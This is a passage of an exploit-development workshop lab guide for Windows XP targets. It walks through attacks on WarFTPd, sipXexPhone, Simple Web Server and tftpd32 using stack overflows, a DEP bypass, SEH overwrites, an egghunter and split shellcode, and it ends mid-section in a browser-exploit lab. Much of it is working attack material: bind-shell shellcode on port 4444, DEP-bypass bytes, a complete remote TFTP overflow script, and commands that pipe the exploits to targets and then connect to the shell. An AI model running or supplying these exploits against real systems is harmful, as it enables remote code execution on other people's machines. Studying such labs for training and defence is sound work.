3648# Lab 1b: Stack Overflows with DEP Bypass #
3649###########################################
3650
3651Reboot your target host and choose the "2nd" option for DEP.
3652
3653 ---------------------------Type This-----------------------------------
3654
3655cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1b
3656
3657
3658
3659
3660python warftpd1.py | nc XPSP3-ED-Target-IP 21
3661
3662 At WINDBG prompt
3663 “r†to show registers or “alt+4â€
3664
3665 dd esp
3666
3667 -----------------------------------------------------------------------
3668
3669 ---------------------------Type This-----------------------------------
3670
3671python warftpd2.py | nc XPSP3-ED-Target-IP 21
3672
3673
3674 At WINDBG prompt
3675 “r†to show registers or “alt+4â€
3676 dd esp
3677 -----------------------------------------------------------------------
3678
3679 Eip: 32714131
3680 esp: affd58 (71413471)
3681
3682 Now we need to SSH into the StrategicSec Ubuntu host
3683 ---------------------------Type This-----------------------------------
3684
3685 cd /home/strategicsec/toolz/metasploit/tools/exploit
3686
3687 ruby pattern_offset.rb 32714131
3688 485
3689
3690 ruby pattern_offset.rb 71413471
3691 493
3692
3693
3694
3695
3696
3697
3698
3699
3700cd /home/strategicsec/toolz/metasploit/tools/exploit
3701
3702ruby pattern_offset.rb 32714131
3703
3704cd /home/strategicsec/toolz/metasploit/
3705
3706./msfpescan -j ESP DLLs/xpsp3/shell32.dll | grep 0x7c9d30d7
3707
3708
3709
3710python warftpd3.py | nc XPSP3-ED-Target-IP 21
3711
3712 0:003> dd eip
3713 0:003> dd esp
3714-----------------------------------------------------------------------
3715
3716INT3s - GOOD!!!!!!!
3717
3718---------------------------Type This-----------------------------------
3719
3720
3721python warftpd4.py | nc XPSP3-ED-Target-IP 21
3722
3723nc XPSP3-ED-Target-IP 4444
3724-----------------------------------------------------------------------
3725
3726
3727strategicsec....exploit no workie!!!!
3728
3729
3730Why????????? DEP!!!!!!!!!!!!!
3731
3732
3733
3734
3735Let's look through ole32.dll for the following instructions:
3736
3737mov al,0x1
3738ret 0x4
3739
3740We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
3741
3742
3743---------------------------Type This-----------------------------------
3744
3745./msfpescan -D -r "\xB0\x01\xC2\x04" DLLs/xpsp3/ole32.dll
3746-----------------------------------------------------------------------
3747
3748[DLLs/xpsp3/ole32.dll]
37490x775ee00e b001c204
37500x775ee00e mov al, 1
37510x775ee010 ret 4
3752
3753
3754Then we need to jump to the LdrpCheckNXCompatibility routine in
3755ntdll.dll that disables DEP.
3756
3757
3758
3759Inside of ntdll.dll we need to find the following instructions:
3760
3761CMP AL,1
3762PUSH 2
3763POP ESI
3764JE ntdll.7
3765
3766---------------------------Type This-----------------------------------
3767
3768
3769./msfpescan -D -r "\x3C\x01\x6A\x02\x5E\x0F\x84" DLLs/xpsp3/ntdll.dll
3770-----------------------------------------------------------------------
3771
3772[DLLs/xpsp3/ntdll.dll]
37730x7c91cd24 3c016a025e0f84
37740x7c91cd24 cmp al, 1
37750x7c91cd26 push 2
37760x7c91cd28 pop esi
37770x7c91cd29 jz 7
3778
3779
3780This set of instructions makes sure that AL is set to 1, 2 is pushed
3781on the stack then popped into ESI.
3782
3783
3784
3785---------------------------Paste This-----------------------------------
3786
3787
3788dep = "\x0e\xe0\x5e\x77"+\
3789"\xff\xff\xff\xff"+\
3790"\x24\xcd\x91\x7c"+\
3791"\xff\xff\xff\xff"+\
3792"A"*0x54
3793
3794-----------------------------------------------------------------------
3795
3796
3797 #############################
3798 # Start WarFTPd #
3799 # Start WinDBG #
3800 # Press F6 #
3801 # Attach to war-ftpd.exe #
3802 # bp 0x775ee00e #
3803 # g #
3804 #############################
3805
3806
3807---------------------------Type This-----------------------------------
3808
3809
3810python warftpd5.py | nc XPSP3-ED-Target-IP 21
3811
3812-----------------------------------------------------------------------
3813We need to set al to 0x1 for the LdrpCheckNXCompatibility routine.
3814
3815 mov al,0x1
3816 ret 0x4
3817
3818
3819
3820
38210:005> g
3822Breakpoint 0 hit
3823eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3824eip=775ee00e esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
3825cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
3826ole32!CSSMappedStream::IsWriteable:
3827775ee00e b001 mov al,1
3828
3829
38300:001> t
3831eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3832eip=775ee010 esp=00affd58 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
3833cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
3834ole32!CSSMappedStream::IsWriteable+0x2:
3835775ee010 c20400 ret 4
3836
3837
3838
3839
3840
3841---------------------------------------------------------------------------
3842Ok, so inside of ntdll.dll we need to find the following instructions:
3843
3844 CMP AL,1
3845 PUSH 2
3846 POP ESI
3847 JE ntdll.7
3848
38490:001> t
3850eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3851eip=7c91cd24 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl nz ac pe nc
3852cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
3853ntdll!LdrpCheckNXCompatibility+0x13:
38547c91cd24 3c01 cmp al,1
3855
3856
38570:001> t
3858eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3859eip=7c91cd26 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
3860cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
3861ntdll!LdrpCheckNXCompatibility+0x15:
38627c91cd26 6a02 push 2
3863
3864
38650:001> t
3866eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=7c80932e edi=00affe58
3867eip=7c91cd28 esp=00affd5c ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
3868cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
3869ntdll!LdrpCheckNXCompatibility+0x17:
38707c91cd28 5e pop esi
3871
3872
38730:001> t
3874eax=00000001 ebx=00000000 ecx=00000001 edx=00000000 esi=00000002 edi=00affe58
3875eip=7c91cd29 esp=00affd60 ebp=00affdb0 iopl=0 nv up ei pl zr na pe nc
3876cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
3877ntdll!LdrpCheckNXCompatibility+0x18:
38787c91cd29 0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c93f70e) [br=1]
3879
3880
3881---------------------------------------------------------------------------
3882
3883
3884 ---------------------------Type This-----------------------------------
3885
3886python warftpd5.py | nc XPSP3-ED-Target-IP 21
3887
3888nc XPSP3-ED-Target-IP 4444
3889
3890 -----------------------------------------------------------------------
3891
3892##########################
3893# Lab 1c: SEH Overwrites #
3894##########################
3895
3896 #################################################
3897 # On our VictimXP Host (XPSP3-ED-Target-IP) #
3898 # Start sipXexPhone if it isn’t already running #
3899 # Start WinDBG #
3900 # Press “F6†and Attach to sipXexPhone.exe #
3901 # Press “F5†to start the debugger #
3902 #################################################
3903
3904 ---------------------------Type This-----------------------------------
3905
3906cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab1c\sipx_complete
3907
3908
3909
3910python sipex0.py XPSP3-ED-Target-IP
3911
3912 0:003> !exchain
3913 0:003> dds esp
3914 0:003> dds
3915
3916python sipex1.py XPSP3-ED-Target-IP
3917
3918 0:003> !exchain
3919 0:003> g
3920
3921 When looking at !exchain you should see that EIP is 41414141, so let’s add more characters.
3922
3923
3924python sipex2.py XPSP3-ED-Target-IP
3925
3926 0:003> !exchain
3927 0:003> g
3928
3929
3930 ***ssh into instructor Ubuntu host***
3931 cd /home/strategicsec/toolz/metasploit/tools/exploit
3932 ruby pattern_offset.rb 41346941 We should see that SEH is at 252
3933
3934
3935
3936 !load narly
3937 !nmod
3938
3939 ***ssh into the Ubuntu host***
3940 ls /home/strategicsec/toolz/metasploit/DLLs/xpsp3/sipXDLLs/
3941 cd /home/strategicsec/toolz/metasploit/
3942 ./msfpescan -p DLLs/xpsp3/sipXDLLs/sipxtapi.dll
3943
3944 -----------------------------------------------------------------------
3945
3946 #####################################
3947 # sipex3.py in Notepad++. #
3948 # Set cseq = 252 #
3949 # Set seh2 address to: 0x10015977 #
3950 #####################################
3951
3952---------------------------Type This-----------------------------------
3953
3954python sipex3.py XPSP3-ED-Target-IP
3955 0:003> !exchain
3956
3957python sipex4.py XPSP3-ED-Target-IP
3958
3959
3960
3961nc XPSP3-ED-Target-IP 4444
3962
3963 -----------------------------------------------------------------------
3964
3965
3966
3967
3968Brush up on the basics of Structured Exception Handlers:
3969http://www.securitytube.net/video/1406
3970http://www.securitytube.net/video/1407
3971http://www.securitytube.net/video/1408
3972
3973
3974
3975
3976
3977
3978########################################
3979# Lab 2a: Not Enough Space (Egghunter) #
3980########################################
3981
3982---------------------------Type This-----------------------------------
3983
3984cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\sws_skeleton
3985-----------------------------------------------------------------------
3986
3987SWS - SIMPLE WEB SERVER
3988-----------------------
3989
3990Running SWS on Strategicsec-XP-ED-Target-VM
3991Start > Programs > Simple Web Server (it's in the middle somewhere)
3992Red icon in system tray
3993Double click it
3994- it will pop up a menu
3995- select "start"
3996- dialog box shows starting params - port 82
3997
3998WinDBG
3999- attach to "server.exe"
4000
4001---------------------------Type This-----------------------------------
4002
4003python sws1.py | nc XPSP3-ED-Target-IP 82
4004
4005
4006
4007python sws2.py | nc XPSP3-ED-Target-IP 82
4008
4009
4010SSH into the Ubuntu host (user: strategicsec/pass: strategicsec)
4011cd /home/strategicsec/toolz/metasploit/tools/exploit
4012ruby pattern_offset.rb 41356841 <------- You should see that EIP is at 225
4013ruby pattern_offset.rb 68413668 <------- You should see that ESP is at 229
4014
4015
4016-----------------------------------------------------------------------
4017
4018
4019
4020
4021
4022
4023EGGHUNTER:
4024----------
4025
4026"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
4027"\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
4028 ^^^^^^^^^^^^^^^^
4029 ABBA
4030 JMP ESP
4031 /
4032 /
4033GET /AAAAAAAAAAA...225...AAAAAAAAAA[ EIP ]$egghunter HTTP/1.0
4034User-Agent: ABBAABBA LARGE SHELLCODE (Alpha2 encoded)
4035
4036
4037
4038
4039-----sws3.py-----
4040#!/usr/bin/python2
4041
4042import os # for output setting
4043import sys
4044import struct # for pack function
4045
4046# turn off output buffer and set binary mode
4047sys.stdout = os.fdopen(sys.stdout.fileno(), 'wb', 0)
4048
4049
4050pad = "A" * 225 # distance to EIP
4051eip = 0x7e429353 # replace EIP to point to "jmp esp" from user32.dll
4052
4053egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74"
4054egghunter += "\xEF\xB8\x41\x42\x42\x41\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
4055
4056shellcode = "\xCC" * 700
4057
4058buf = "GET /"
4059buf += pad + struct.pack('<I', eip) + egghunter
4060buf += " HTTP/1.0\r\n"
4061buf += "User-Agent: ABBAABBA"
4062buf += shellcode
4063buf += " HTTP/1.0\r\n"
4064
4065sys.stdout.write(buf)
4066-----
4067
4068
4069
4070############################################
4071# Lab 2b: Not Enough Space (Negative Jump) #
4072############################################
4073---------------------------Type This-----------------------------------
4074
4075cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2a\modjk_skeleton
4076-----------------------------------------------------------------------
4077
4078
4079[pad = distance_to_seh - len(shellcode) ] [ shellcode] [jmp4 = "\x90\x90\xEB\x04"] [eip (pop pop ret)] [jmp_min = "\xE9\x98\xEF\xFF\xFF"]
4080
4081 ^
40821 ----------------------1 overflow the buffer---------------------------|
4083
4084 ^ ^
4085 |
4086 2 ----jump over seh record---|
4087
4088 ^ ^
4089 |
4090 3--POP 2 words off stack---|
4091
4092 ^
40934 -----negative jump into NOPs - then into shellcode -----------------------------------------------------------------------------------|
4094
4095
4096#########################################
4097# Lab 2c: Not Enough Space (Trampoline) #
4098#########################################
4099
4100cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab2c\tftpd_skeleton
4101On the Strategicsec-XP-ED-Target-VM VM
4102
4103- open a command prompt
4104- c:\software\tftpd32
4105- run tftpd32.exe
4106- UDP port 69
4107(socket code is already in the scripts)
4108
4109
4110
4111
4112On your attack host please install:
4113
4114
4115 NASM - Netwide Assembler
4116
4117
4118
4119
4120
4121-----------------------------------------------------------------------------------------------------------------
4122
4123
4124We want to generate the shellcode (BIND SHELL on Port 4444)
4125- No restricted characters
4126- Encoder: NONE
4127
4128Create a Python file called dumpshellcode.py
4129
4130---
4131#!/usr/bin/python2
4132
4133import os
4134import sys
4135import struct
4136
4137
4138# win32_bind - EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com
4139shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4140shellcode += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4141shellcode += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4142shellcode += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4143shellcode += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4144shellcode += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4145shellcode += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4146shellcode += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4147shellcode += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
4148shellcode += "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4149shellcode += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4150shellcode += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4151shellcode += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4152shellcode += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4153shellcode += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4154shellcode += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4155shellcode += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4156shellcode += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4157shellcode += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4158shellcode += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4159
4160sys.stdout.write(shellcode)
4161---
4162
4163---------------------------Type This-----------------------------------
4164
4165
4166python dumpshell.py > bindshell.bin
4167
4168copy bindshellcode.bin into the "c:\Program Files\nasm" directory
4169-----------------------------------------------------------------------
4170
4171
4172
4173Here we saved the raw shellcode generated by metasploit into a file called bindshell.bin
4174317 bindshell.bin
4175---------------------------Type This-----------------------------------
4176
4177C:\Program Files\nasm>ndisasm -b 32 bindshell.bin
4178-----------------------------------------------------------------------
4179
418000000000 FC cld
418100000001 6AEB push byte -0x15
418200000003 4D dec ebp
418300000004 E8F9FFFFFF call dword 0x2
418400000009 60 pushad
41850000000A 8B6C2424 mov ebp,[esp+0x24]
41860000000E 8B453C mov eax,[ebp+0x3c]
418700000011 8B7C0578 mov edi,[ebp+eax+0x78]
418800000015 01EF add edi,ebp
418900000017 8B4F18 mov ecx,[edi+0x18]
41900000001A 8B5F20 mov ebx,[edi+0x20]
41910000001D 01EB add ebx,ebp
41920000001F 49 dec ecx
419300000020 8B348B mov esi,[ebx+ecx*4]
419400000023 01EE add esi,ebp
419500000025 31C0 xor eax,eax
419600000027 99 cdq
419700000028 AC lodsb
419800000029 84C0 test al,al
41990000002B 7407 jz 0x34
42000000002D C1CA0D ror edx,0xd
420100000030 01C2 add edx,eax
420200000032 EBF4 jmp short 0x28
420300000034 3B542428 cmp edx,[esp+0x28]
420400000038 75E5 jnz 0x1f
42050000003A 8B5F24 mov ebx,[edi+0x24]
42060000003D 01EB add ebx,ebp
42070000003F 668B0C4B mov cx,[ebx+ecx*2]
420800000043 8B5F1C mov ebx,[edi+0x1c]
420900000046 01EB add ebx,ebp
421000000048 032C8B add ebp,[ebx+ecx*4]
42110000004B 896C241C mov [esp+0x1c],ebp
42120000004F 61 popad
421300000050 C3 ret
421400000051 31DB xor ebx,ebx
421500000053 648B4330 mov eax,[fs:ebx+0x30]
421600000057 8B400C mov eax,[eax+0xc]
42170000005A 8B701C mov esi,[eax+0x1c]
42180000005D AD lodsd
42190000005E 8B4008 mov eax,[eax+0x8]
422000000061 5E pop esi
422100000062 688E4E0EEC push dword 0xec0e4e8e
422200000067 50 push eax
422300000068 FFD6 call esi
42240000006A 6653 push bx
42250000006C 66683332 push word 0x3233
422600000070 687773325F push dword 0x5f327377
422700000075 54 push esp
422800000076 FFD0 call eax
422900000078 68CBEDFC3B push dword 0x3bfcedcb
42300000007D 50 push eax
42310000007E FFD6 call esi PART 1
423200000080 5F pop edi
423300000081 89E5 mov ebp,esp
423400000083 6681ED0802 sub bp,0x208
423500000088 55 push ebp
423600000089 6A02 push byte +0x2
42370000008B FFD0 call eax
42380000008D 68D909F5AD push dword 0xadf509d9
423900000092 57 push edi
424000000093 FFD6 call esi
424100000095 53 push ebx
424200000096 53 push ebx
4243--------------------------------------------CUTCUTCUTCUTCUT----8<---8<---8<---
424400000097 53 push ebx
424500000098 53 push ebx
424600000099 53 push ebx
42470000009A 43 inc ebx
42480000009B 53 push ebx
42490000009C 43 inc ebx
42500000009D 53 push ebx PART 2
42510000009E FFD0 call eax
4252000000A0 6668115C push word 0x5c11
4253000000A4 6653 push bx
4254000000A6 89E1 mov ecx,esp
4255000000A8 95 xchg eax,ebp
4256000000A9 68A41A70C7 push dword 0xc7701aa4
4257000000AE 57 push edi
4258000000AF FFD6 call esi
4259000000B1 6A10 push byte +0x10
4260000000B3 51 push ecx
4261000000B4 55 push ebp
4262000000B5 FFD0 call eax
4263000000B7 68A4AD2EE9 push dword 0xe92eada4
4264000000BC 57 push edi
4265000000BD FFD6 call esi
4266000000BF 53 push ebx
4267000000C0 55 push ebp
4268000000C1 FFD0 call eax
4269000000C3 68E5498649 push dword 0x498649e5
4270000000C8 57 push edi
4271000000C9 FFD6 call esi
4272000000CB 50 push eax
4273000000CC 54 push esp
4274000000CD 54 push esp
4275000000CE 55 push ebp
4276000000CF FFD0 call eax
4277000000D1 93 xchg eax,ebx
4278000000D2 68E779C679 push dword 0x79c679e7
4279000000D7 57 push edi
4280000000D8 FFD6 call esi
4281000000DA 55 push ebp
4282000000DB FFD0 call eax
4283000000DD 666A64 push word 0x64
4284000000E0 6668636D push word 0x6d63
4285000000E4 89E5 mov ebp,esp
4286000000E6 6A50 push byte +0x50
4287000000E8 59 pop ecx
4288000000E9 29CC sub esp,ecx
4289000000EB 89E7 mov edi,esp
4290000000ED 6A44 push byte +0x44
4291000000EF 89E2 mov edx,esp
4292000000F1 31C0 xor eax,eax
4293000000F3 F3AA rep stosb
4294000000F5 FE422D inc byte [edx+0x2d]
4295000000F8 FE422C inc byte [edx+0x2c]
4296000000FB 93 xchg eax,ebx
4297000000FC 8D7A38 lea edi,[edx+0x38]
4298000000FF AB stosd
429900000100 AB stosd
430000000101 AB stosd
430100000102 6872FEB316 push dword 0x16b3fe72
430200000107 FF7544 push dword [ebp+0x44]
43030000010A FFD6 call esi
43040000010C 5B pop ebx
43050000010D 57 push edi
43060000010E 52 push edx
43070000010F 51 push ecx
430800000110 51 push ecx
430900000111 51 push ecx
431000000112 6A01 push byte +0x1
431100000114 51 push ecx
431200000115 51 push ecx
431300000116 55 push ebp
431400000117 51 push ecx
431500000118 FFD0 call eax
43160000011A 68ADD905CE push dword 0xce05d9ad
43170000011F 53 push ebx
431800000120 FFD6 call esi
431900000122 6AFF push byte -0x1
432000000124 FF37 push dword [edi]
432100000126 FFD0 call eax
432200000128 8B57FC mov edx,[edi-0x4]
43230000012B 83C464 add esp,byte +0x64
43240000012E FFD6 call esi
432500000130 52 push edx
432600000131 FFD0 call eax
432700000133 68F08A045F push dword 0x5f048af0
432800000138 53 push ebx
432900000139 FFD6 call esi
43300000013B FFD0 call eax
4331
4332
4333
4334
4335part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4336part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4337part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4338part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4339part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4340part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4341part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4342part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4343part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
4344part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
4345
4346
4347part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4348part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4349part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4350part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4351part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4352part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4353part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4354part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4355part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4356part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4357part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4358
4359
4360STACK SHIFTER:
4361prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
4362prepend += "\x44" # inc esp
4363
4364
4365
4366
4367
4368
4369
4370
4371
4372
4373
4374
4375
4376
4377---- final script ----
4378
4379#!/usr/bin/python2
4380#TFTP Server remote Buffer Overflow
4381
4382import sys
4383import socket
4384import struct
4385
4386if len(sys.argv) < 2:
4387 sys.stderr.write("Usage: tftpd.py <host>\n")
4388 sys.exit(1)
4389
4390target = sys.argv[1]
4391port = 69
4392
4393eip = 0x7e429353 # jmp esp in USER32.DLL
4394
4395part1 += "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
4396part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
4397part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
4398part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
4399part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
4400part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
4401part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
4402part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
4403part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
4404part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
4405
4406part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
4407part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
4408part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
4409part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
4410part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
4411part2 += "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
4412part2 += "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
4413part2 += "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
4414part2 += "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
4415part2 += "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
4416part2 += "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
4417
4418prepend = "\x81\xC4\xFF\xEF\xFF\xFF" # add esp, -1001h
4419prepend += "\x44" # inc esp
4420
4421buf = "\x00\x01" # receive command
4422
4423buf += "\x90" * (256 - len(part2)) # NOPs
4424buf += part2 # shellcode part 2
4425buf += struct.pack('<I', eip) # EIP (JMP ESP)
4426buf += prepend # stack shifter
4427buf += part1 # shellcode part 1
4428buf += "\xE9" + struct.pack('<i', -380) # JMP -380
4429buf += "\x00" # END
4430
4431# print buf
4432
4433# buf = "\x00\x01" # receive command
4434
4435# buf += "A" * 300 + "\x00"
4436
4437sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
4438
4439try:
4440 sock.connect((target, port))
4441 sock.sendall(buf)
4442except Exception as e:
4443 sys.stderr.write("Cannot send to "+str(target)+" : "+str(port)+" : "+str(e)+"!\n")
4444finally:
4445 sock.close()
4446 sys.stderr.write("Sent.\n")
4447
4448
4449
4450-----------------------------------------------------------------------------------------------------------------
4451
4452
4453
4454
4455How does all of this actually work
4456
4457
4458
4459
4460Total shellcode length: 315
4461
4462 Part1: 150
4463 Part2: 165
4464
4465
4466NOPS * (256 - 165)
4467
446891 NOPS + (165 bytes shellcode p2) + JMP ESP (4 bytes) + Stack Shift (-1000) + (150 bytes shellcode p1) + (neg jmp -380)
4469 | | |
4470 256 260 150 (410) |
4471 |<------------------------------------------------------------------------------------------------------------|
4472 Jump to the
4473 30 byte mark
4474
4475
4476
4477############################
4478# Lab 3: Browsers Exploits #
4479############################
4480
4481---------------------------Type This-----------------------------------
4482
4483cd C:\Documents and Settings\strategic security\Desktop\ED-Workshop-Files\Lab3\ffvlc_skeleton
4484-----------------------------------------------------------------------
4485
4486
4487Quicktime - overflow, if we send a very long rtsp:// URL, Quicktime crashes
4488rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......50000
4489
4490<object id=quicktime clsid="999-999999-99-99999">
4491 <param name="URL" value="rtsp://AAAAAAAAAAAAAAAAAAAAAAAAA....">
4492</object>
4493
4494var buf = "";
4495for(i = 0; i < 50000; i++)
4496 buf += "A";
4497var myobject = document.getElementById("quicktime");
4498myobject.url = buf;
4499
4500YOU CAN PRE-LOAD THE PROCESS MEMORY MORE OR LESS IN A WAY YOU LIKE BEFORE TRIGGERING THE EXPLOIT!!!!
4501
4502- Browsers (Flash)
4503- PDF
4504- MS Office / OOo
4505
4506VLC smb:// exploit
4507------------------
4508
4509EXPLOIT VECTOR
4510
